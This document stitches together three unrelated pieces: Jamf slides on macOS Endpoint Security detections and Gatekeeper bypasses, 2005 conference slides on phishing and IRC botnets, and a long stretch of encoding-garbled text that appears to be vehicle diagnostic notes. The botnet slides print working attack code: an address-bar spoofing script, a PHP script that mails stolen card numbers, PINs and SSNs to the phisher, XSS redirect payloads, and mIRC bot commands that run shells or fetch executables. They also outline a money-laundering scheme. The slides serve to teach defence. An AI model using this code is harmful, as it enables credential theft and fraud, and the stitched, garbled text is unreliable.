Forward-Looking Statement Disclaimer This presentation may contain forward-looking statements under applicable securities laws. All statements other than statements of historical fact are forward-looking statements. Forward-looking statements are based on information available to Jamf at the time they are made and provide Jamf’s current expectations and projections about our financial condition, results, plans, objectives, future performance and business. You can identify forward-looking statements by the fact that they do not relate strictly to historical or current facts. Forward-looking statements may include words such as "anticipate," "estimate," "expect," "project," "plan," "intend," "believe,” "may," "will," "should," "can have," "likely" and other terms of similar meaning in connection with any discussion of the timing or nature of future operating or financial performance or other events.  All statements we make about our estimated and projected costs, expenses, cash flows, growth rates and financial results are forward- looking statements. In addition, our plans and objectives for future operations, growth initiatives, product plans and product strategies are forward-looking statements.  There are various factors, risks and uncertainties that may cause Jamf’s actual results to differ materially from those that we expected in any forward-looking statements. These factors and risks are set forth in the documents Jamf files with the U.S. Securities and Exchange Commission (SEC). These documents are publicly available on the SEC’s website. Forward-looking statements are not guarantees of future performance and you should not place undue reliance on them. Jamf is under no obligation to update any forward-looking statements made in this presentation. macOS Detections at Jamf Threat Labs Introduced 10.15 Replacement for: • Kauth KPI • Mac kernel framework • OpenBSM audit trail Kernel extensions difficult to develop and maintain New security issues created as even minor bugs often lead to kernel panics. ESF System Extensions subscribe to system events e.g.: •es_event_create_t •es_event_rename_t •es_event_exec_t •es_event_fork_t kernel sends detailed info about event to all subscribed system extensions ESF events delivered as either Notification Events or Authorization Events Notify events send detailed event information to the subscribed system extensions and the vendor application can do what it wants with that information. e.g.: •Logging •Apply detection logic •Display an alert Notify events are report only. They have no bearing on the execution of the event. Authorization events: •Prevent activity from proceeding •Send event data to subscribed clients •Await approve/deny response from client Client uses its own logic to determine whether event should proceed Authorization events on process creates offer a great opportunity for vendors to apply static detections at the moment of execution Behavioral Detections Powered by ESF Fake File Extension Attackers sometimes disguise malicious files like executables by masquerading file extensions like PDF. Detection logic can be applied at the time of file creation. Attackers can gain persistence via malicious launch agents and launch daemons In many cases, they will disguise their launch plist by pre-pending the name with com.apple This can be detected by performing additional code signing checks on the executable at the path in the program arguments of the plist If the program is not signed by Apple, it shouldn’t be called from a plist labeled com.apple Plist Disguised as Apple • Event process (pid) is cut command • Cut command was run by the parent (ppid) zsh • Responsible pid was Terminal.app • String of piped commands was led by (pgid) system_profiler • All commands in the session have the same Session id which belongs to /usr/bin/login Behaviors and Processes Fileless malware curls scripts and binaries piped directly to interpreters like osascript to avoid leaving file artifacts for static detection. Detection can often be achieved by linking interpreter execution with a pgid pointing to curl Curl piped to Interpreter Advanced Behavioral Detections Covered last year by Cedric Owens, macOS Gatekeeper had a (since patched) bug that allowed unsigned code to pass Gatekeeper checks by failing to meet Gatekeeper’s heuristic definition of an app bundle. If an app was missing an info.plist and had a script as the app executable, Gatekeeper would simply allow the app to run without any additional checks or prompts to the user. CVE 2021-30657 Gatekeeper Bypass We discovered Shlayer abusing this bypass. Example of pre-bypass Shlayer (left) vs Double-click (no prompt) bypass found in wild (right) XCSSET discovered piggybacking TCC permissions of legitimate apps Malicious app nested inside of legitimate app, inheriting its TCC permissions with no user prompts (Since patched by Apple) CVE 2022-22616 TCC Bypass Detection achieved by looking for nested app bundles Code signing checks performed on both apps In malicious cases, inner app has either: • No code signature • Ad-hoc signature • Team ID that does not match outer app Application bundles are directory structures and can’t be downloaded from the internet as a file. They are often zipped into an archive file to get around this. For convenience, Safari, by default, automatically unzips these archives. CVE 2022-22616 Gatekeeper Bypass We discovered legitimate apps hosted online bypassing Gatekeeper checks when auto-unzipped by Safari. The top level of the app directory was missing the quarantine attribute. When downloaded from a different browser and unzipped by manually clicking, the same app properly received the quarantine attribute. This narrowed the issue to the Safari Sandbox broker which is responsible for the auto unzip We were able to replicate this issue by taking a normally zipped app and manually deleting the first directory header in the zip file Removing this header led to the Bill of Materials failing to index the top level of the app bundle, but would still successfully unzip the application Since that directory header was missing from the Bill of Materials, the quarantine bit failed to be applied to the unzipped file. When the top level of the app directory has no quarantine bit, it runs with no Gatekeeper checks This bug was patched by Apple • Detection looks for rename event that is being handled by Safari Sandbox Broker • It looks for apps being moved from a temp directory to Downloads • It then performs an additional extended attribute lookup to confirm that quarantine bit has been applied as expected
pdf
2005 July 16 Copyright [email protected] 1 Internet Threats in Depth Phishing and Botnet Alan HIT 2005 2005 July 16 Copyright [email protected] 2 Outline Phishing (20 min) Botnet (40 min) 2005 July 16 Copyright [email protected] 3 What is Phishing? Phishing attacks use both social engineering and technical subterfuge to steal consumers' personal identity data and financial account credentials. Such as credit card numbers, account usernames, passwords and social security numbers.. 使用者 Username: Password: XX銀行首頁 XX銀行通知 假Email 假網站 請點選此連結 網路釣客 2005 July 16 Copyright [email protected] 4 Phishing site sample #1 Steal money or credit card info.. 2005 July 16 Copyright [email protected] 5 Phishing site sample #2 Steal onlinebank account 2005 July 16 Copyright [email protected] 6 Phishing site sample #3 Steal service/identity 2005 July 16 Copyright [email protected] 7 Phishing site sample #4 Steal service/identity 2005 July 16 Copyright [email protected] 8 Phishing site sample #5 Steal service/identity 2005 July 16 Copyright [email protected] 9 Phishing site sample #6 2005 July 16 Copyright [email protected] 10 Incresing of phishing sites 2005 July 16 Copyright [email protected] 11 Tricks of Phishing Similar looking URL to Genuine URL Using IP address Pop Up Windows URL spoofing of address bar Install Trojans or Spyware 2005 July 16 Copyright [email protected] 12 Similar looking URL to Genuine URL http://www.barclays.co.uk/ is the oringinal bank website. Two similar looking URL example 1. http://www.barclayze.co.uk』 2. http://www.barclays.validation.co.uk using a sub-domain such as "http://www.barclays.validation.co.uk", where the actual domain is "validation.co.uk" which is not related to Barclays Bank. 2005 July 16 Copyright [email protected] 13 Pop Up Windows open a real webpage in the background while a bare pop up window (without address bar, tool bars, status bar and scrollbars) is opened in the foreground to display the fake webpage 2005 July 16 Copyright [email protected] 14 Scripts hide the IE address bar var vuln_x, vuln_y, vuln_w, vuln_h; function vuln_calc() { var root= document[ (document.compatMode=='CSS1Compat') ? 'documentElement' : 'body' ]; vuln_x= window.screenLeft+70; vuln_y= window.screenTop-45;//adjust window position vuln_w= root.offsetWidth-200; vuln_h= 17;//url window height vuln_show(); } var vuln_win; function vuln_pop() { vuln_win= window.createPopup(); vuln_win.document.body.innerHTML= vuln_html; vuln_win.document.body.style.margin= 0; vuln_win.document.body.onunload= vuln_pop; vuln_show(); } function vuln_show() { if (vuln_win) vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h); } var vuln_html= '<div style="height: 100%; line-height: 17px; font-family: \'Tahoma\', sans-serif; font-size: 8pt;">https://internetbanking.suntrust.com/default.asp</div>' if (window.createPopup) { vuln_calc(); vuln_pop(); window.setInterval(vuln_calc, 25); } else { } 2005 July 16 Copyright [email protected] 15 Install Trojans or Spyware - Client side attack Malicious site (ex.IE iFrame vulnerability MS04- 040,MS05-036/37…) Client will d/l malicious file and execute it after browsing a malicious page. 2005 July 16 Copyright [email protected] 16 Install Trojans or Spyware - A malicious site example 2005 July 16 Copyright [email protected] 17 Tricks to keep phishing page stealth Using ‘dot’ to hide directory Unless you use -a, --all do not hide entries starting with . 2005 July 16 Copyright [email protected] 18 Data is then sent to phisher Send.php <?php session_start(); $first = $HTTP_POST_VARS['first']; $last = $HTTP_POST_VARS['last']; $cctype = $HTTP_POST_VARS['cctype']; $ccnumber = $HTTP_POST_VARS['ccnumber']; $ccmonth = $HTTP_POST_VARS['ccmonth']; $ccyear = $HTTP_POST_VARS['ccyear']; $cvv2 = $HTTP_POST_VARS['cvv2']; $ssn = $HTTP_POST_VARS['ssn']; $pin = $HTTP_POST_VARS['pin']; $email = $HTTP_POST_VARS['email']; $ip = getenv("REMOTE_ADDR"); $adddate=date("D M d, Y g:i a"); $subj = "Banking Account Info"; $msg = "First Name: $first\nLast Name: $last\nType: $cctype\nCredit Card Number:$ccnumber\nCC Month: $ccmonth\nCC year : $ccyear\nPIN: $pin\nIP: $ip\nDate: $adddate\nSSN: $ssn\nCVV2: $cvv2\nEmail: $email"; $from = "From: [email protected]"; mail("[email protected]", $subj, $msg, $from); header("Location: thankyou.htm"); ?> 2005 July 16 Copyright [email protected] 19 How to launder money 1.The phisher has already got the account info by phishing. 4.The money is then withdrawn by the job applicant and wired to foreign account (it’s probably another middle man). 3.Phisher then transfer money from the ‘phishing victims’ into the job applicants’account. 2.Send mails to recruit job seekers. 5.Finally , phisher get the money. Local Foreign 2005 July 16 Copyright [email protected] 20 How to launder money (cont) - Recruit job seeker by spam 2005 July 16 Copyright [email protected] 21 Beyond phishing Phisher uses two methods to speed up the installation of phishing sites. 1. Usingf Phishing package. 2. installing redirection services to deliver web traffic to existing phishing websites Uses the victim host to send spammails for advertising phishing websites propagation of spam and phishing messages via botnets 2005 July 16 Copyright [email protected] 22 Redir Benefit of redir: 1. Easy to config compromised host Increase the speed of compromising vulnerabile systems 2. If a compromised host is detected, the main phishing site is still alive if a main site is detected, hacker will set one of the compromised host to be the main site 2005 July 16 Copyright [email protected] 23 Active phishing attack! Cross-site scripting redirection Script injection Two threats of web application! SQL injection Malicious script Insert redirect script on forums or guestbook. 1. <script>timerID=setTimeout('window.location.href="http://fake/ member.htm"',100);</script> 2. <script>location.replace("http://www.yahoo.fake.com/member/"); </script> Script code can redirect the user to fake authentication page and steal his account information. 2005 July 16 Copyright [email protected] 24 Auction scams – interception 1.Send the fake mail to buyer before real seller. 2.Send the fake mail to seller. A scam which focus on dedicated victim! Typically using Mails overflow to reveal the fake mail 2005 July 16 Copyright [email protected] 25 Botnet in depth 2005 July 16 Copyright [email protected] 26 What is BotNet ? -- Control IRC constructs a signal channel which let hackers control victims without being found. 2005 July 16 Copyright [email protected] 27 Botnet formation Hacker writes the bot backdoor He install the bot backdoor in the compromised hosts Bot controller (IRC server) Bot Bot host with High bandwidth usually chosen to be the controller Nowadays, Botnet is a new control machanism after hacking compromised hosts. Insides bot source code 2005 July 16 Copyright [email protected] 28 Botnet formation (cont) Give orders in IRC channel. Do spreading automatically Bot controller (IRC server) 2005 July 16 Copyright [email protected] 29 Threats of botnets DDoS extortion Installing malwares , spywares Selling advertisements Manipulating online polls Sending Spammails Doing Phishing Renting bots Information lost / Identity theft / Sniffing Stealing CD-key,online-game goods .. 2005 July 16 Copyright [email protected] 30 IRC and IRC bot IRC is the earliest form of online chat. IRC (Internet Relay Chat) 1993 RFC 1459,2810,2811,2812,2813 Users can chat at channels in realtime. Channel management (RFC 2811) ,2000 Channel operator (+o) Private (flag p) and Secret (flag s) Channels Channel Topic (/topic #chan_name topic) Channel key( +k) Ban user CTCP/DCC (1994) An IRC bot writer should be very familiar with the IRC standards. 2005 July 16 Copyright [email protected] 31 IRC and IRC bot (cont) IRC bot A IRC client program which enforce channel policies. Ban users if they speak special keywords. Give the op to specific users/ Do User level management. Prevent flooding. React to certain events. Eggdrop、Perlbot、ircII script bot、mIRC script… Advanced IRC bot P2P file sharing. Gamebot、Talkbot Google bot、Sysbot… 2005 July 16 Copyright [email protected] 32 IRC and IRC bot (cont) - mirc bot examples Sysbot /load -rs SystemInfo.mrc /ctcp sysbot systeminfo Google bot P2P file sharing 2005 July 16 Copyright [email protected] 33 What they do & How they work - Inside the Bot IRC channel !! 1) Connect to the bot controller(IRC server). /sever xxx.xxx.xxx.xxx serverpass 2) Enters specific channel with password, interprets its topic as command. Bot list - Bots that perform the same action in the channel. They are compromising other hosts by using MS-0411 LSASS vulnerability. 3) Hacker can herd some bot to another channels or servers. 2005 July 16 Copyright [email protected] 34 Inside the Bot IRC channel - The IRC channel Bot joined When the Bots are connected to the IRC Server the channel they join is usually set with various channel modes to restrict access or help stealth the fact that the channel or the occupants of the channel are there. +s (secret : cannot be seen in channels list) +u (userlist is hidden) +m (moderated : a user cannot send text to that channel unless they have operator @ access or +v voice) +k (cannot enter the channel unless you know the correct key) 2005 July 16 Copyright [email protected] 35 Inside the Bot IRC channel !! (cont) - Scanning and Spreading 2005 July 16 Copyright [email protected] 36 Inside the Bot IRC channel !! (cont) - Scanning for new vulnerabilities or victims Scan for SWAT (Samba Web Administration Tool) port 901 2005 July 16 Copyright [email protected] 37 Tricks to hide Bot controller - Dynamic DNS Specific IRC servers are set in Bot.(Set up with domain name) Bot owner uses Dynamic DNS . Hiding controller and saving bandwidth Bot will not connect to IRC server if 1. bot lost signal of network/can’t resolve server name. 2. Bot resolve IRC server name to 0.0.0.0 or 127.0.0.1. Bot Bot Bot controller IRC server list 0.0.0.0 2005 July 16 Copyright [email protected] 38 Tricks to hide Bot controller - Bots change their controller Hacker can change the controller when the victim has been found Migration of bots Time Numbers of bots connect to the controller 2005 July 16 Copyright [email protected] 39 Variants of Bots Agobot/Phatbot/Gaobot/XtremBot Written in C++, module scalabilities Public in GPL, lots of users improve its abilities and functions. powerful variants ! Rootkit technologies to hide process Capabilities to detect debuggers.. written by Ago alias Wonk, a young German man who was arrested in May 2004 for computer crime. SDBot/RBot/UrBot/UrXBot/… Written in C, poor design.. 2005 July 16 Copyright [email protected] 40 Variants of Bots(cont) mIRC-based Bots - GT-Bots Launch an instance of the mIRC chat-client with a set of scripts(.mrc) and other binaries. .mrc is a powerful script that Can create socket,/exe,/dll… Following symptom are found. May use hidewindow to hide mIRC process. Change the filename of mIRC.exe (old version mIRC) DLL files are linked to mIRC for mIRC script. 2005 July 16 Copyright [email protected] 41 Variants of Bots(cont) - write your bot mIRC script – remote event The remote allows you to create scripts that react to IRC Server events Advanced scripts 1. 2. 3. on 1:TEXT:hello*:#:/msg $chan Welcome!!!! to $chan $nick! example ctcp ^*:DO:*:{ . $+ $2- | .halt } on 1:TEXT:cmd:#:/run cmd.exe on 1:TEXT:dll:#:/dll run32.dll on *:PART:#:{ .msg #noticechannel I have just parted $chan } /ctcp alan DO run cmd /ctcp alan DO run notepad c:\config.sys 2005 July 16 Copyright [email protected] 42 Virus kit Bot generator 2005 July 16 Copyright [email protected] 43 Virus kit (cont) Agobot Config GUI – configuration generator 2005 July 16 Copyright [email protected] 44 Virus kit (cont) VBS worm Generator 2005 July 16 Copyright [email protected] 45 Functions inside a Bot Bot should be designed in modular way. Easy to add new features. Take Agobot as example 1.Sanner modules 2.Update modules 3.DoS modules 4.Harvest modules 5.3rd modules 2005 July 16 Copyright [email protected] 46 Functions inside a Bot(cont) Scanner modules Scan and automated infection mechanism. Update modules Fetch newest bot program and install it automatically 『.http.update http://<server>/~location/xxxBot.exe c:\yyy.exe 1』 Agobot Source code 2005 July 16 Copyright [email protected] 47 Functions inside a Bot(cont) Protect mechanism --- Rootkit:Hiding process 2005 July 16 Copyright [email protected] 48 Functions inside a Bot(cont) Bot.secure -> Fix vulnerabilities for you !!! … …. Close shares Remove viruses Disable Dcom Why? -> Hacker Hijacks bots from another hacker 2005 July 16 Copyright [email protected] 49 Functions inside a Bot(cont) DoS modules Syn,UDP,ICMP flood, password brute forcer, 2005 July 16 Copyright [email protected] 50 Functions inside a Bot (cont) Info stealing(Harvest) modules Harvest CD-Key, specific information, Sniffing,keylogger CD-keys Email harvest 2005 July 16 Copyright [email protected] 51 Tracking and combating with Botnets First, DDoS has no perfect solution! Second, know botnet ,know your ememy and then you might have the chance to survive. Type 1 – some hosts in your Intranet are bots. Bots connect to the same bot controller. Channel signals still work Setting NIDS signatures in gateway area. Channel signals stop Setting NIDS signatures in DNS area. Bots connect to several bot controllers. Some of the Domain bot connects to you don’t know. -> sniffer the DNS traffic and find out unusual query. DNS Intranet 2005 July 16 Copyright [email protected] 52 Tracking and combating with Botnets(cont) When kick the bot out The controller of a botnet has to authenticate himself to take control over the bots. Type 2 – You are being DDoSed ! Ask the ISP for help. 2005 July 16 Copyright [email protected] 53 Tracking and combating with Botnets (cont) Release the bots? Is this possible? Hack into controller, give the command to stop the attack and release all bots?? (like Will Smith) Step 1: get the server/channel key from a compromised bot. Step 2: get the auth of botnet controller. Wait for hacker. Tracing bot and system . Step 3: stop and release all bots?? → You are also a hacker if you do so . I,Robot,2004 ?? 2005 July 16 Copyright [email protected] 54 Tracking and combating with Botnets (cont) Bot owner use MD5 storing the admin password, but it can be sniffer unless using SSL encryption. IP ACL is used to limit the control src IP. It’s almost impossible. 2005 July 16 Copyright [email protected] 55 Conclusion Active phishing scam (script injection) could be the new threat of phishing attack. Users need to be educated.( But…. ) IRC will not be the only control machanism of botnet. Know your ememy than you will have chance to catch him.
pdf
                      !  " # $ % & ' ( % ) * + , - * - . / 0 / 1 2 . . 2 / - 3 4 2 5 / 6 - 7 / / 2 3 8 1 / - 2 4 3 2 4 / 9 0 5 - : ; < = > ? @ A B C D E F G H I J K L MN O P Q Q Q R S T T U V W H I X Y Z W [ \ K I Y ] ^ _ I Y F W H L E ` L K _ a F _ b a L L E F H E c _ N L d a F _ b a L L E I Y ` H _ _ Y E ` L e W H _ f G E X N W b H _ [ I Y L H I g X L _ I L W b [ h E H i E [ I ` G I L X b [ _ H L K _ L _ H i Y E ` L K _ j k l j _ b _ H W ^ m X g ^ I N n I N _ b Y _ W Y F X g ^ I Y K _ [ g G L K _ o H _ _ p E ` L e W H _ o E X b [ W L I E b f _ I L K _ H q _ H Y I E b S E ` L K _ n I N _ b Y _ r E H MW L G E X H E F L I E b O W b G ^ W L _ H q _ H Y I E b d s t u v w x y z { x { | } ~ } w  | € z  ‚ ƒ „ € † ‡ ˆ ˆ ‰ Š ˆ † Š ˆ ‹ ˆ ‡ v Œ ‰ v ‰ ~ z y  ~ Ž ‚ y s   < ? ‘ ’ “ ? ” i W L N K Y _ N L I E b Y e I L K W H N K Y F _ N ] b I Y K • m – [ _ ] b I L I E b Y r [ W L W L G F _ Y r i I ^ _ Y L E b _ Y — ˜ “ ? ” ’ “ ? ‘ ™ š › œ  ž Ÿ ¡ ¢ £ ¤ ¡ Ÿ ¡ ¥ ¦ § ¨ ¤ £ © ¦ ª £ « ¬ ­ ® ­ ® ¯ ° ± ² ³ ´ L E [ E µ I b L _ H ` W N _ N I H N X I L E b _ F _ H I b L _ H ` W N _ r ¶ m · r m · ¸ r – p a M¹ º n O r D • k • I b L _ H ` W N _ Y I i I ^ W H I L I _ Y » ¶ m · K W ^ ` [ X F ^ _ ¼ ½ – • R S ¾ S » m · ¸ K W ^ ` [ X F ^ _ ¼ Z p R U ¿ À » – p a K W ^ ` [ X F ^ _ ¼ ½ – • R S ¾ S r S ^ I b _ Y M ¸ • Á ¾ ¾ S ¾ ½ O P » D • k M ¸ • Á ¾ T À T  O • N I H N X I L Y » Y _ H I W ^ L E ^ E J I N R ¸ • Á ¾ S ¾ À ½ S T h m V – m d ¾ T T ∗ Y I J b W ^ F H E L _ N L I E b R ¸ • Á ¾ Ã Ä P ¿ h m V – m d¾ T T » ^ E J I N L E ¶ m · h – p a M K W ^ ` [ X F ^ _ ¼ Z p R S ¾ S O R ¸ • Á ¾ ¾ S ¾ ½ P à h m V – m d ¾ T T » ^ E J I N L E m · ¸ MK W ^ ` [ X F ^ _ ¼ Z p R U ¿ À O R ¸ • Á ¾ U U P ½ ¿ h m V – m d ¾ T T » ^ E J I N L E D • k R ¸ • Á ¾ T À T ¿ h p a d P À T » H _ J X ^ W L E H Y ∗ À ¶ R ¸ • Á ¿ ¿ ¾ ¿ h m V – m d¾ T T ∗ ¾ d¾ ¶ R ¸ • Á ¿ ¿ S ¿ h m V – m d¾ T T ¬ ­ ® ­ ¬ Å ³ ± ³ ´ ´ ° ´ L E [ E µ I b L _ H ` W N _ N I H N X I L ™ š ™ Æ ¡ ¢ Ç ¡ ¢ £ ¤ ¡ Ÿ ¡ ¥ ¦ § ¨ ¤ £ © ¦ ª £ « ¬ ­ ¬ ­ ® È ² É ± Ê É Ê Ë Ì ± Ê ´ ´ ° ± ¬ ­ ¬ ­ ¬ Å ± Ê Í ± ³ Î Î ³ Ï ´ ° Ð ³ ± Ñ Ò ³ ± ° ¬ ­ ¬ ­ Ó Ô ° Õ ° ´ Ê Ö Î ° Ë Ì × Ê ³ ± Ñ L E [ E µ [ E Y g W Y _ [ ] H i e W H _ Ø Ù < Ú C ’ “ ? ‘ Û š › ¤ ¢ ¦ © £ ¢ « L E [ E µ J _ b _ H I N I b L _ H ` W N _ ` E H Y e [ W L W ^ I b Ü r N E i i E b Y _ L E ` i _ L K E [ Y M I H Ý r H _ W [ g I L r e H I L _ g I L r E L K _ H Y  O Y K W H _ N E [ _ r e K _ H _ F E Y Y I g ^ _ • F _ H I b L _ H ` W N _ L G F _ µ I H Ý r H _ W [ g I L r e H I L _ g I L • F _ H W H N K I L _ N L X H _ µ J _ L L I i _ r Y _ L L I i _ H N W ^ ^ g W N Ü E H e W I L h Y ^ _ _ F • F _ H g X Y L G F _ µ _ b N E [ _ h [ _ N E [ _ H E X L I b _ Y Ó ­ ® ­ ® Þ ° ± Ë ° ´ Ñ ± ² Õ ° ± ß g W Y _ [ E b ^ I H N à Y _ H I W ^ M F E Y Y I g ^ G ^ I H N à F W H W ^ ^ _ ^ W Y e _ ^ ^ O Y _ _ E g [ à Y _ H I W ^ ` H E i E ^ [ E g [ I b W H N K I q _ ` E H Y L W H L I b J F E I b L S Ó ­ ® ­ ¬ Ê Ì Ì Ê Ñ e H I L L _ b I b D Û š ™ ¥ ¦ á ¢ ¡ ¢ ¦ £ « L E [ E µ g I b [ I b J Y ` E H Â Ó ­ ¬ ­ ® ´ ² Ï Õ ² Ë • P Ä N K W H W N L _ H Y r E ` ╠R ã ä R k m Z R å T R Q æ • Y _ N L I E b E b _ r ¾ N K W H Y » i W b X ` W N L X H _ H r i W Ü _ r L G F _ • Y _ N L I E b L e E r À N K W H Y » ^ I b _ r Y _ H I _ Y r g E [ G L G F _ r _ b J I b _ L G F _ r H _ Y L H W I b L Y G Y L _ i M F W Y Y _ b J _ H N W H O r j ¶ · M i X ^ L I F X H F E Y _ F W Y Y _ b J _ H q _ K I N ^ _ O • Y _ N L I E b L K H _ _ r P N K W H » N K _ N Ü [ I J I L r W Y Y F _ N I b ¶ – k • Y _ N L I E b ` E X H r ¿ N K W H Y » ] H Y L N K W H I Y G _ W H r W Y Y F _ N I b ¶ – k » Y _ N E b [ N K W H I Y F ^ W b L E ` i W b X ` W N L X H _ H » N K W H ¾ R ¿ I Y Y _ Ý X _ b L I W ^ i W b X ` W N L X H _ b X i g _ H Ó ­ ¬ ­ ¬ ´ ² Ï Ê Ï Ñ ¬ • Z _ Ý X _ Y L N X H H _ b L F E e _ H L H W I b [ I W J b E Y L I N [ W L W M i E [ _ T ¼ T P O ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ í ê  ~ è y w u í î è { ï é { ç } í ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ í ê  ~ è y w u í w | } z { | í Š ð ñ ‰ ƒ | é x ò { è  ó ò  } { ç w | u ~ } ~ ð Š ê  ~ è u ~ } ~ ô ‰ õ í î è { ç y  | ç { í • }  u  v ç y { ê w ~ z x { }   u ó  è u { } { è x w | w | ö ç é y y  è } ó  è  }  { è x { }   u ç ÷ y w u ˆ ‚ ˆ ˆ ø ù ¾ • } ~ ò z { ç » y w u ç ÷ ç ~ x { ~ ç x  u { ˆ ‚ ˆ ‡ ø » ò w } x ~ y y { u u ~ } ~ ó  è y w u ˆ ‚ ˆ ƒ ˆ ‚ ˆ Œ ƒ ˆ ‚ ‡ ƒ ˆ ‚ Œ ƒ ˆ ‚ { » ê  | ç } ~ | } ç ó  è y w u ˆ ‚ ú • H _ Ý X _ Y L F E e _ H L H W I b ` H _ _ û _ ` H W i _ [ W L W M i E [ _ T ¼ T S O ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ ‡ í ê  ~ è y w u í ê  ~ è ó è ~ x { í î è { ï é { ç } í ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ í ê  ~ è y w u í ê  ~ è ó è ~ x { í w | } z { | í Š ð ñ ‰ ƒ | é x ò { è  ó ò  } { ç w | u ~ } ~ ð Š ê  ~ è u ~ } ~ ô ‰ õ í î è { ç y  | ç { í » L W g ^ _ Y Y K W H _ [ e I L K i E [ _ T ¼ T P • H _ Ý X _ Y L _ i I Y Y I E b R H _ ^ W L _ [ F E e _ H L H W I b [ I W J b E Y L I N L H E X g ^ _ N E [ _ Y M i E [ _ T ¼ T ¾ O ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ Œ í î è { ï é { ç } í ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ Œ í ê  ~ è u ~ } ~ ô ü õ í î è { ç y  | ç { í » i _ Y Y W J _ I Y ] ¼ _ [ ^ _ b J L K r [ L N Y W H _ I b [ W L W L e E g G L _ Y _ W N K » i X ^ L I F ^ _ H _ Y F E b Y _ i W G g _ H _ N _ I q _ [ » E L L E à J _ L [ L N M I b L ý b X i r I b L ý [ L N O H _ L X H b Y P R ¾ V \ D Y ∗ L K I Y i _ L K E [ N W ^ ^ Y i E [ _ T ¼ T P r F I [ T ¼ T P ] H Y L L E [ _ L _ H i I b _ L E L W ^ V \ D Y L E _ ¼ F _ N L ∗ [ L N I Y W H H W G E ` ^ _ b J L K b X i E ` W ^ ^ V \ D Y » L W g ^ _ Y ∗ I b [ L N [ g • N ^ _ W H h H _ Y _ L _ i I Y Y I E b R H _ ^ W L _ [ [ I W J b E Y L I N I b ` E H i W L I E b Mi E [ _ T ¼ T U O U ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ ‰ í î è { ï é { ç } í ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ ‰ í î è { ç y  | ç { í » E L L E à N ^ _ W H [ L N M O H _ L X H b Y E Ü h ` W I ^ • H _ Ý X _ Y L E ¼ G J _ b Y _ b Y E H i E b I L E H I b J L _ Y L H _ Y X ^ L Y Mi E [ _ T ¼ T À O ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ þ í ê  ~ è } { ç } w u í ê  ~ è ç { | ç  è | é x í î è { ï é { ç } í ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ þ í ê  ~ è } { ç } w u í ê  ~ è ç { | ç  è | é x í ê  ~ è u ~ } ~ ô ‰ õ í î è { ç y  | ç { í » L _ Y L I [ T ¼ T T r T ¼ S T r T ¼ U T r T ¼ à T r T ¼ ¿ T r T ¼ • T r T ¼ D T r T ¼ ½ T » [ W L W I Y g I L i W F F _ [ Y X F F E H L ` E H b _ ¼ L S T L _ Y L I [ Y ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ þ í ê  ~ è } { ç } w u í ê  ~ è ç { | ç  è | é x í ê  ~ è „ ~ z é { í ê  ~ è x w | í Š ð  y } w  | ~ z ð Š ê  ~ è x ~ ‚ í Š ð  y } w  | ~ z ð Š î è { ç y  | ç { í » E L L E à J _ L Y _ b Y E H L _ Y L H _ Y X ^ L M I b L L _ Y L r I b L Y _ b Y E H b X i O » L E [ E µ J _ L Y X F F E H L ` X b N L I E b Y I i I ^ W H L E i E [ _ T ¼ T P  » L W g ^ _ ∗ L _ Y L I [ Y ∗ i I b h i W ¼ h Y N W ^ I b J ` E H L _ Y L Y M I b X b I ] _ [ p n a \ [ _ ] b I L I E b Y  O • H _ Ý X _ Y L E b R g E W H [ i E b I L E H I b J L _ Y L H _ Y X ^ L Y ` E H b E b R N E b L I b X E X Y ^ G i E b I L E H _ [ Y G Y L _ i Y M i E [ _ T ¼ T à O À ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ ü í ê  ~ è } { ç } w u í î è { ï é { ç } í ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ ü í ê  ~ è } { ç } w u í ê  ~ è ÿ ‚ ì ˆ ‚ ó ó í ê  ~ è u ~ } ~ ô ‰ õ í î è { ç y  | ç { í » L _ Y L I [ Y i X ^ L I F ^ _ E ` T ¼ S T r g I L i W F F _ [ Y X F F E H L ` E H b _ ¼ L T ¼ S T L _ Y L I [ Y ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ ü í ê  ~ è } { ç } w u í ê  ~ è }  y { í Š ð } { ç } z w x w } }  y { ~ | u ê  x y  | { | } t ð Š ê  ~ è „ ~ z é { ô ‡ õ í ê  ~ è z w x w } ô ‡ õ í î è { ç y  | ç { í » E b ^ G q W ^ I [ I ` i E [ _ T ¼ T P F I [ T ¼ T P I b [ I N W L _ Y L _ Y L I Y N E i F ^ _ L _ » E L L E à J _ L L _ Y L H _ X ^ L M I b L L _ Y L O » L W g ^ _ Y ∗ L _ Y L I [ Y • H _ Ý X _ Y L E b R g E W H [ i E b I L E H I b J L _ Y L H _ Y X ^ L Y ` E H N E b L I b X E X Y ^ G i E b I L E H _ [ Y G Y R L _ i Y Mi E [ _ T ¼ T Ä O ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ † í î è { ï é { ç } í ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ † í ê  ~ è u ~ } ~ ô ü õ í î è { ç y  | ç { í » L W g ^ _ µ I b [ L N [ g • H _ Ý X _ Y L N E b L H E ^ E ` E b R g E W H [ Y G Y L _ i r L _ Y L r E H N E i F E b _ b L Mi E [ _ T ¼ T ¿ O ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ ‹ í ê  ~ è } { ç } w u í ê  ~ è u ~ } ~ ô þ õ í î è { ï é { ç } í à ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ ‹ í ê  ~ è } { ç } w u í ê  ~ è u ~ } ~ ô þ õ í î è { ç y  | ç { í » L W g ^ _ Y ∗ L _ Y L I [ Y • H _ Ý X _ Y L q _ K I N ^ _ I b ` E H i W L I E b M i E [ _ T ¼ T Q O ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ˆ í ê  ~ è w | ó  í î è { ï é { ç } í ç } è é ê } ë ê  ~ è x  u { ì ˆ ‚ ‰ í ê  ~ è w | ó  í ê  